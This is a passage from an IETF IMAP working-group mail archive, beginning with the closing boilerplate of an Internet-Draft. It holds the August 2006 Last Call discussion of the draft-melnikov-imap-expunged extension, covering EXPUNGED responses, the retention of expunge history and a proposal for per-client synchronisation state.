    The IETF takes no position regarding the validity or scope of any
    Intellectual Property Rights or other rights that might be claimed
    to pertain to the implementation or use of the technology described
    in this document or the extent to which any license under such
    rights might or might not be available; nor does it represent that
    it has made any independent effort to identify any such rights.
    Information on the procedures with respect to rights in RFC
    documents can be found in BCP 78 and BCP 79.

    Copies of IPR disclosures made to the IETF Secretariat and any
    assurances of licenses to be made available, or the result of an
    attempt made to obtain a general license or permission for the use
    of such proprietary rights by implementers or users of this
    specification can be obtained from the IETF on-line IPR repository
    at http://www.ietf.org/ipr.

    The IETF invites any interested party to bring to its attention any
    copyrights, patents or patent applications, or other proprietary
    rights that may cover technology that may be required to implement
    this standard.  Please address the information to the IETF at ietf-
    [email-masked].

Full Copyright Statement

    Copyright (C) The Internet Society (2006).  This document is subject
    to the rights, licenses and restrictions contained in BCP 78, and
    except as set forth therein, the authors retain all their rights.

    This document and the information contained herein are provided on
    an "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE
    REPRESENTS OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY AND THE
    INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF
    THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED
    WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.

Acknowledgment

    Funding for the RFC Editor function is currently provided by the
    Internet Society.

Gulbrandsen               Expires Feburary 2007                 [Page 6]
=0C
-----

Date: Mon, 28 Aug 2006 14:57:37 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Peter Coates <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Mon, 28 Aug 2006, Peter Coates wrote:
> I am very concerned by this idea that the server cache that state of the client
> for future reference.  People access their email from multiple clients...

Yes, but not all clients will ask the server to cache state.  An online 
client would never do so.

> At least, I don't
> see how it can be done without extensions whereby the client identify itself in
> some way, and I don't want to go there.

I don't see the problem, assuming that it is voluntary on the part of the 
client and there is no way for some other client to meddle with that 
cached state (other than, perhaps, deleting it).

My idea has those properties.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Mon, 28 Aug 2006 14:56:25 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'Randall Gellens'" <[email-masked]>, "'Alexey Melnikov'" <[email-masked]>, "'Arnt Gulbrandsen'" <[email-masked]>
Cc: [email-masked]
Sender: [email-masked]

I am very concerned by this idea that the server cache that state of the client
for future reference.  People access their email from multiple clients... That
is one of the points of IMAP: I can use my IMAP client on a machine at work, a
machine at home, (through a web mail program) in some internet café, ... The
server can not know "the state of the client" except at those times the client
is logged on, and pretending otherwise is not going to help.  At least, I don't
see how it can be done without extensions whereby the client identify itself in
some way, and I don't want to go there. 

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
On Behalf Of Randall Gellens
Sent: August 28, 2006 14:34
To: Alexey Melnikov; Arnt Gulbrandsen
Cc: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
to Proposed Standard (draft-melnikov-imap-expunged)

At 11:00 AM +0100 8/27/06, Alexey Melnikov wrote:

>>  3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>> be very big
>
>  Currently it is forever.

I want to be sure I understand what a server has to maintain.  Is it like the
newsrc file of old, a set of values and value ranges that include the UID of
every message that has ever been deleted?  Or those messages that have been
deleted but whose deletion has not yet reported?  If the latter, when does the
server know the client has the response and thus can prune the reported UIDs?
--
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: --------------- I make a fortune from
criticizing the policy of the government, and then hand it over to the
government in taxes to keep it going.
                                              --George Bernard Shaw

Date: Mon, 28 Aug 2006 14:45:57 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

Well, what about my idea, where a server could (at a client's request) 
cache per-client the UID map and flag state, and then (again at the 
client's request) report the differences?

It seems to me that that would result in less traffic.  It'd also be 
rather simple to implement IMHO.

Although Alexey's proposal doesn't do this, the thought of having to keep 
a journal of changes scares me.  A per-client cache seems to me to scale 
better since there is a finite number of clients the user will use.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Mon, 28 Aug 2006 14:34:15 -0700
To: Alexey Melnikov <[email-masked]>, Arnt Gulbrandsen <[email-masked]>
From: Randall Gellens <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'          to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

At 11:00 AM +0100 8/27/06, Alexey Melnikov wrote:

>>  3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED 
>> could be very big
>
>  Currently it is forever.

I want to be sure I understand what a server has to maintain.  Is it 
like the newsrc file of old, a set of values and value ranges that 
include the UID of every message that has ever been deleted?  Or 
those messages that have been deleted but whose deletion has not yet 
reported?  If the latter, when does the server know the client has 
the response and thus can prune the reported UIDs?
-- 
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: ---------------
I make a fortune from criticizing the policy of the government, and
then hand it over to the government in taxes to keep it going.
                                              --George Bernard Shaw

Date: Mon, 28 Aug 2006 14:27:05 -0700
To: Alexey Melnikov <[email-masked]>
From: Randall Gellens <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'          to  Proposed Standard (draft-melnikov-imap-expunged)
Cc: IMAP Extensions WG <[email-masked]>
Sender: [email-masked]

At 6:33 PM +0100 8/26/06, Alexey Melnikov wrote:

>  The comptetition for the best name is now opened :-). (VANISHED :-)?)

How about TOMBSTONE?
-- 
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: ---------------
God is a comic playing to an audience that's afraid to laugh.

Date: Mon, 28 Aug 2006 14:19:30 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'Ken Murchison'" <[email-masked]>
Cc: "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked], "'Alexey Melnikov'" <[email-masked]>
Sender: [email-masked]

Well that is easier.  But is this really the intent of he spec?  If it were, I'd
expect to see an example showing that REPORTEXPUNGES can be specified without
CHANGEDSINCE, and I'd expect to see explicit words saying that the response to
REPORTPURGES without CHANGEDSINCE is the cumulative list of all expunged
messages, and that the response to REPORTPURGES with CHANGEDSINCE could be
either the uid of the messages purged since the modseq specified or the
cumulative list.

Peter

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
On Behalf Of Ken Murchison
Sent: August 28, 2006 13:43
To: Peter Coates
Cc: 'Arnt Gulbrandsen'; [email-masked]; 'Alexey Melnikov'
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
to Proposed Standard (draft-melnikov-imap-expunged)

Peter Coates wrote:
> Holding expunged data indefinitely is a problem for me.  Would it not 
> be possible to define a NO response if the CHANGEDSINCE date with a 
> REPORTEXPUNGES was too far in the past.
> 
> Eg:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES)
> S: s100 NO [OLDESTEXPIREMODSEQ  54321] Too long ago
> 
> Or if you prefer:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES)
> S: * 1 FETCH (UID 4 MODSEQ (65402) FLAGS (\Seen))
> S: * 2 FETCH (UID 6 MODSEQ (75403) FLAGS (\Deleted))
> S: * 4 FETCH (UID 8 MODSEQ (29738) FLAGS ($NoJunk $AutoJunk $MDNSent))
> S: s100 OK [OLDESTEXPIREMODSEQ  54321] Too long ago

The way the current draft is written (as I read it and as clarified by 
Alexey), you don't have remember which UIDs have been expunged since a 
given point in time.  You just blindly return all UIDs in the sequence 
that no longer exist.

> -----Original Message-----
> From: [email-masked] [mailto:[email-masked]]
> On Behalf Of Arnt Gulbrandsen
> Sent: August 27, 2006 08:07
> To: [email-masked]
> Cc: Alexey Melnikov
> Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
> to Proposed Standard (draft-melnikov-imap-expunged)
> 
> 
> Alexey Melnikov writes:
>> Arnt Gulbrandsen wrote:
>>
>>> 3. The document doesn't say for how long the expunges must be 
>>> remembered. Forever would be a problem for me (in a 5000-message 
>>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>>> be very big
>> Currently it is forever. Can you try to calculate size of the EXPUNGED 
>> response (that uses UID ranges) for your mailbox?
> 
> For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte SEARCH
> response, and the first EXPUNGED response would be 28128 bytes.
> 
>> There was no intent to make EXPUNGED return *all* expunged UIDs all 
>> the time. Every time the server intents to emit an EXPUNGE, it will 
>> emit an EXPUNGED instead, so the server would just send "deltas".
>> Does this need to be clarified?
> 
> Clarified or shown in an example.
> 
> Arnt
> 
> 
> 

-- 
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University

Date: Mon, 28 Aug 2006 14:00:34 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Ken Murchison <[email-masked]>
cc: Peter Coates <[email-masked]>, "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked], "'Alexey Melnikov'" <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Mon, 28 Aug 2006, Ken Murchison wrote:
> The way the current draft is written (as I read it and as clarified by 
> Alexey), you don't have remember which UIDs have been expunged since a given 
> point in time.  You just blindly return all UIDs in the sequence that no 
> longer exist.

This is potentially worse than fetching the entire UID map, although 
ranges will help quite a bit.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Mon, 28 Aug 2006 16:42:43 -0400
From: Ken Murchison <[email-masked]>
Organization: Carnegie Mellon University
To: Peter Coates <[email-masked]>
CC: "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked], "'Alexey Melnikov'" <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Peter Coates wrote:
> Holding expunged data indefinitely is a problem for me.  Would it not be
> possible to define a NO response if the CHANGEDSINCE date with a REPORTEXPUNGES
> was too far in the past.
> 
> Eg:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
> S: s100 NO [OLDESTEXPIREMODSEQ  54321] Too long ago
> 
> Or if you prefer:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
> S: * 1 FETCH (UID 4 MODSEQ (65402) FLAGS (\Seen))
> S: * 2 FETCH (UID 6 MODSEQ (75403) FLAGS (\Deleted))
> S: * 4 FETCH (UID 8 MODSEQ (29738) FLAGS ($NoJunk $AutoJunk $MDNSent))
> S: s100 OK [OLDESTEXPIREMODSEQ  54321] Too long ago

The way the current draft is written (as I read it and as clarified by 
Alexey), you don't have remember which UIDs have been expunged since a 
given point in time.  You just blindly return all UIDs in the sequence 
that no longer exist.

> -----Original Message-----
> From: [email-masked] [mailto:[email-masked]]
> On Behalf Of Arnt Gulbrandsen
> Sent: August 27, 2006 08:07
> To: [email-masked]
> Cc: Alexey Melnikov
> Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
> to Proposed Standard (draft-melnikov-imap-expunged)
> 
> 
> Alexey Melnikov writes:
>> Arnt Gulbrandsen wrote:
>>
>>> 3. The document doesn't say for how long the expunges must be 
>>> remembered. Forever would be a problem for me (in a 5000-message 
>>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>>> be very big
>> Currently it is forever. Can you try to calculate size of the EXPUNGED 
>> response (that uses UID ranges) for your mailbox?
> 
> For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte SEARCH
> response, and the first EXPUNGED response would be 28128 bytes.
> 
>> There was no intent to make EXPUNGED return *all* expunged UIDs all 
>> the time. Every time the server intents to emit an EXPUNGE, it will 
>> emit an EXPUNGED instead, so the server would just send "deltas".
>> Does this need to be clarified?
> 
> Clarified or shown in an example.
> 
> Arnt
> 
> 
> 

-- 
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University

Date: Mon, 28 Aug 2006 13:00:57 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked]
Cc: "'Alexey Melnikov'" <[email-masked]>
Sender: [email-masked]

Holding expunged data indefinitely is a problem for me.  Would it not be
possible to define a NO response if the CHANGEDSINCE date with a REPORTEXPUNGES
was too far in the past.

Eg:

C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
S: s100 NO [OLDESTEXPIREMODSEQ  54321] Too long ago

Or if you prefer:

C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
S: * 1 FETCH (UID 4 MODSEQ (65402) FLAGS (\Seen))
S: * 2 FETCH (UID 6 MODSEQ (75403) FLAGS (\Deleted))
S: * 4 FETCH (UID 8 MODSEQ (29738) FLAGS ($NoJunk $AutoJunk $MDNSent))
S: s100 OK [OLDESTEXPIREMODSEQ  54321] Too long ago

Peter

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
On Behalf Of Arnt Gulbrandsen
Sent: August 27, 2006 08:07
To: [email-masked]
Cc: Alexey Melnikov
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
to Proposed Standard (draft-melnikov-imap-expunged)

Alexey Melnikov writes:
> Arnt Gulbrandsen wrote:
>
>> 3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>> be very big
>
> Currently it is forever. Can you try to calculate size of the EXPUNGED 
> response (that uses UID ranges) for your mailbox?

For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte SEARCH
response, and the first EXPUNGED response would be 28128 bytes.

> There was no intent to make EXPUNGED return *all* expunged UIDs all 
> the time. Every time the server intents to emit an EXPUNGE, it will 
> emit an EXPUNGED instead, so the server would just send "deltas".
> Does this need to be clarified?

Clarified or shown in an example.

Arnt

Date: Sun, 27 Aug 2006 17:06:45 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Alexey Melnikov <[email-masked]>
Sender: [email-masked]

Alexey Melnikov writes:
> Arnt Gulbrandsen wrote:
>
>> 3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>> be very big
>
> Currently it is forever. Can you try to calculate size of the EXPUNGED 
> response (that uses UID ranges) for your mailbox?

For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte 
SEARCH response, and the first EXPUNGED response would be 28128 bytes.

> There was no intent to make EXPUNGED return *all* expunged UIDs all 
> the time. Every time the server intents to emit an EXPUNGE, it will 
> emit an EXPUNGED instead, so the server would just send "deltas".
> Does this need to be clarified?

Clarified or shown in an example.

Arnt

Date: Sun, 27 Aug 2006 11:00:25 +0100
From: Alexey Melnikov <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
CC: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Arnt Gulbrandsen wrote:

> 3. The document doesn't say for how long the expunges must be 
> remembered. Forever would be a problem for me (in a 5000-message 
> mailbox where 35,000 old messages have been deleted, EXPUNGED could be 
> very big

Currently it is forever. Can you try to calculate size of the EXPUNGED 
response (that uses UID ranges) for your mailbox?

> ). If EXPUNGED is made to depend on CONDSTORE, this is easily fixable.
>
> If EXPUNGED doesn't depend on CONDSTORE, this needs fixing in a 
> different way. (Also there needs to be a sentence that within a 
> session, EXPUNGED contains only those UIDs that haven't been reported 
> as expunged already in this session.)

There was no intent to make EXPUNGED return *all* expunged UIDs all the 
time. Every time the server intents to emit an EXPUNGE, it will emit an 
EXPUNGED instead, so the server would just send "deltas".
Does this need to be clarified?

Date: Sun, 27 Aug 2006 08:27:07 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Alexey Melnikov <[email-masked]>, Randall Gellens <[email-masked]>
Sender: [email-masked]

Alexey Melnikov writes:
> Randall Gellens wrote:
>> As a totally separate quibble, I wonder if we're risking a 
>> proliferation of modes which are enabled by use of parameters (such 
>> as the switch from EXPUNGE to EXPUNGED being triggered by use of 
>> REPORTEXPUNGES)?  I wonder if it might be worth considering a new 
>> ENABLE command that the client would issue after seeing server 
>> capabilities, where the client lists the wonderful extensions it 
>> wishes the server to start using?
>
> I think something like this should be done.
> My question is if this can proceed as independent activity and not 
> hold EXPUNGED?

It can. That gives two ways to enable EXPUNGED. No, three ways, SELECT, 
FETCH and ENABLE.

Arnt

Date: Sat, 26 Aug 2006 20:12:21 +0100
From: Alexey Melnikov <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
CC: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Arnt Gulbrandsen wrote:

> Lisa Dusseault writes:
>
>> Please review!!
>
> I like the idea. At present, resynchronising typically involves O(n) 
> traffic, where n is the number of messages in the mailbox. For a 
> 35,000-message mailbox (what Dave considers medium-sized), SELECT x 
> followed by UID SEARCH 1:*' is the briefest simple way to find out 
> what messages have been expunged and in the best case causes 199k 
> traffic. Shrinking that to 100 bytes is a big win, say I, but I'm not 
> terribly happy with the specifics of this document. Some fairly minor 
> changes would make it much better.
>
> I think the document needs a bit of copy editing; I'll send mail to 
> Alexey privately with that. Here I'll cover only substantive issues.
>
> 1. Minor issue. There is a silent assumption that clients fetch flags 
> for all messages all the time. That assumption isn't necessary, and it 
> warps the extension. Why use FETCH so much if all you want is to find 
> the expunged messages?
>
> 2. I would like a REPORTEXPUNGES SELECT modifier in addition to or 
> instead of the FETCH modifier. The SELECT modifier would cause SELECT 
> to send an EXPUNGED response, helping clients clean up their cache 
> without having to fetch anything. (Of course it's desirable to 
> invalidate changed messages, but this document is not CONDSTORE and 
> does not yet depend on CONDSTORE.)

This is somewhat related to #1 and yes, I agree. Other people already 
suggested this to me.

> If SELECT doesn't have a REPORTEXPUNGES, then I think this document 
> needs to rely on CONDSTORE. FETCH ... (CHANGEDSINCE x REPORTEXPUNGES) 
> makes sense and helps update a cache, but without CONDSTORE I don't 
> see the improvement. The command FETCH 1:* UID (REPORTEXPUNGES) is not 
> an improvement over FETCH 1:* UID or UID SEARCH 1:*.

Yes, it is not an improvement and it is also explicitly prohibited ;-).

[skipping # 3 for now, I need to think it over.]

> 4. It's not clear to me how long the EXPUNGE->EXPUNGED change lasts. 
> The client indicates that it wants EXPUNGED, but how long does the 
> server remember: Until the end of the session or the end of the 
> connection? I would prefer the latter.

Until the end of the connection.
Your comment made me realize that the document doesn't state that. Added.

> I apologise for not reviewing this sooner. It slipped through my fingers.

Thank you for the review.

Date: Sat, 26 Aug 2006 18:33:14 +0100
From: Alexey Melnikov <[email-masked]>
To: Randall Gellens <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Randall Gellens wrote:

> One quibble: the name EXPUNGED seems easily confused with EXPUNGE 
> (even if just in discussion, or while scanning through logs).  Maybe 
> change the name of the parameter from REPORTEXPUNGES to EXPUNGEREPORT 
> and change the name of the response from EXPUNGED to also be 
> EXPUNGEREPORT?  Or something else along those lines?

Ken has asked why the FETCH parameter is REPORTEXPUNGES but the response 
code is EXPUNGED.
So I am fine with this change.

The comptetition for the best name is now opened :-). (VANISHED :-)?)

> As a totally separate quibble, I wonder if we're risking a 
> proliferation of modes which are enabled by use of parameters (such as 
> the switch from EXPUNGE to EXPUNGED being triggered by use of 
> REPORTEXPUNGES)?  I wonder if it might be worth considering a new 
> ENABLE command that the client would issue after seeing server 
> capabilities, where the client lists the wonderful extensions it 
> wishes the server to start using?

I think something like this should be done.
My question is if this can proceed as independent activity and not hold 
EXPUNGED?

Date: Fri, 25 Aug 2006 17:26:30 -0700
To: IMAP Extensions WG <[email-masked]>
From: Randall Gellens <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

One quibble: the name EXPUNGED seems easily confused with EXPUNGE 
(even if just in discussion, or while scanning through logs).  Maybe 
change the name of the parameter from REPORTEXPUNGES to EXPUNGEREPORT 
and change the name of the response from EXPUNGED to also be 
EXPUNGEREPORT?  Or something else along those lines?

As a totally separate quibble, I wonder if we're risking a 
proliferation of modes which are enabled by use of parameters (such 
as the switch from EXPUNGE to EXPUNGED being triggered by use of 
REPORTEXPUNGES)?  I wonder if it might be worth considering a new 
ENABLE command that the client would issue after seeing server 
capabilities, where the client lists the wonderful extensions it 
wishes the server to start using?
-- 
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: ---------------
I have made it a rule, whenever in my power, to avoid becoming the
draughtsman of papers to be reviewed by a public body.
              --Benjamin Franklin

Date: Fri, 25 Aug 2006 04:39:11 -0600
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Fri, 25 Aug 2006, Arnt Gulbrandsen wrote:
> Philip Guenther writes:
>> If EXPUNGED updates the message sequences just like an EXPUNGE response 
>> then use of REPORTEXPUNGES would make it impossible to reliably use msgnos 
>> in commands;
...
> Not in the draft as it stands.

Right.  I left out the phrase "and EXPUNGED responses could be sent at any 
time" as that was what Pete appeared to be proposing as a change in the 
message to which I was responding.  I agree that as currently stands, 
there is no issue with EXPUNGED and client use of msgnos.  It's only if 
the EXPUNGED response was permitted at any time in order to obviate IDLE 
that it becomes an issue.  My apologies if people misconstrued the 
EXPUNGED draft due to that elision from my message.

Philip Guenther

Date: Fri, 25 Aug 2006 11:29:12 +0100
From: Alexey Melnikov <[email-masked]>
To: [email-masked]
CC: Pete Resnick <[email-masked]>, Philip Guenther <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Arnt Gulbrandsen wrote:

> Pete Resnick writes:
>
>> I'm with Mark on this: Non-starter. Change the EXPUNGED spec, not how 
>> message numbers work.
>
> I don't see why EXPUNGED as it stands breaks message numbers. If it 
> were sent unsolicited it would. But the current draft forbids doing 
> that (page 5, third paragraph).

Exactly. The EXPUNGED response has *exactly* the same restrictions as 
the EXPUNGE response.

Date: Fri, 25 Aug 2006 12:23:18 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Pete Resnick <[email-masked]>, Philip Guenther <[email-masked]>
Sender: [email-masked]

Philip Guenther writes:
> If EXPUNGED updates the message sequences just like an EXPUNGE 
> response then use of REPORTEXPUNGES would make it impossible to 
> reliably use msgnos in commands; they would appear in responses but a 
> client would have no way to guarantee that a msgno wouldn't be 
> invalidated or changed in meaning (what message it maps to) between 
> when it composed the command and when the server received it.  
> Breaking client use of msgnos seems a bit drastic of a side-effect 
> for an extension aimed at shrinking the cost of resynchronization.

Not in the draft as it stands. EXPUNGED can be processed just like 
EXPUNGE. You may need to use a binary search instead of an array 
indexing, depending on how your code looks.

If you see * 122 EXPUNGE you know that all messages with MSN higher than 
122 move one slot down in the MSN->UID map. If you see * EXPUNGED 122, 
you need to scan your MSN->UID map until you find a UID higher than 
122, and move it and all higher UIDs down one slot.

Arnt

Date: Fri, 25 Aug 2006 11:55:21 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Pete Resnick <[email-masked]>, Philip Guenther <[email-masked]>
Sender: [email-masked]

Pete Resnick writes:
> I'm with Mark on this: Non-starter. Change the EXPUNGED spec, not how 
> message numbers work.

I don't see why EXPUNGED as it stands breaks message numbers. If it were 
sent unsolicited it would. But the current draft forbids doing that 
(page 5, third paragraph).

Arnt

Date: Thu, 24 Aug 2006 22:00:40 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Philip Guenther <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Thu, 24 Aug 2006, Philip Guenther wrote:
> During the discussion in 
> Montreal, it was strongly argued that the client-side method dodges a number 
> of the issues that the server-side method has.  Those present and arguing 
> (myself included) may have missed something critical that invalidates the 
> argument, of course.

It all depends on what the protocol looks like.

As a server (and client!) guy, the prospect of being made to keep a 
potentially limitless journal scares me.  From the server point of view, 
it's a lot easier to write a file with a snapshot of per-client state, 
and then diff the snapshot against what's there now.

It's lot less that needs to be saved, and it isn't timestamp dependent.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Thu, 24 Aug 2006 22:16:36 -0600
From: Philip Guenther <[email-masked]>
To: Mark Crispin <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Thu, 24 Aug 2006, Mark Crispin wrote:
> If the principle purpose of this extension is for resynchronizing a client, I 
> wonder if it could not be done in a better way.
>
> How about an extension that creates a per-client synchronization state on the 
> server.  This can hold state for multiple mailboxes.  There would be the 
> following operations:

I'm having a flash-back from the second lemonade WG session in Montreal. 
Regardless, if you haven't pulled down the audio of that session from the 
archive and listened to the discussion there (possibly reading the jabber 
log along side), I recommend doing so.  What you describe sounds pretty 
similar to parts of draft-ietf-lemonade-reconnect-07.txt.  During the 
discussion in Montreal, it was strongly argued that the client-side method 
dodges a number of the issues that the server-side method has.  Those 
present and arguing (myself included) may have missed something critical 
that invalidates the argument, of course.  I think I'll review that myself 
soon to see if anything jumps out.

Philip Guenther

Date: Thu, 24 Aug 2006 17:07:04 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

If the principle purpose of this extension is for resynchronizing a 
client, I wonder if it could not be done in a better way.

How about an extension that creates a per-client synchronization state on 
the server.  This can hold state for multiple mailboxes.  There would be 
the following operations:

. register new client.  This would be a one-time operation.  The client
   sends a self-generated client ID, and in return receives a cookie that
   contains the client ID and server-generated poop.

. list registered clients/unregister client.  This is a maintenance tool.
   It can not be used to get a registered client cookie; thus can not be
   abused by broken implementations.  It can, however, be used to clean
   up states saved by abandoned clients.

. record state for current mailbox.  Accepts cookie as an argument.  Saves
   the map and all flags.

. return state changes in current mailbox.  Accepts cookie as an argument.
   Any flag or UID map differences from the same state are sent to the
   client.  Maybe have two forms, one which records the new state and one
   which does not.

State changes during the session will continue to work as they always 
have, including msgno-based unsolicited FETCH and EXPUNGE responses. 
Since the client has the current UID map after a return-state-change 
operation, it can use msgnos.

If it's a stupid client written by a cretin that refuses to use msgnos, it 
can simply repeat the "return state changes" operation as needed.

Note that the client must do a "record state change" for the server's 
state for that registered client to be preserved.  That allows the server 
to toss out the previous state (meaning that the client must be certain 
that it it is ready for that).

I think that the above would be quite easy to implement, even for 
non-CONDSTORE environments.  The key here is that the server isn't obliged 
to keep an arbitrary amount of history; it was told by the client to do 
so.

The weakness is that clients may forget that the own a saved state. 
That's why there is the list registered client/unregister client 
operation.

The idea is that the client ID would be something like:
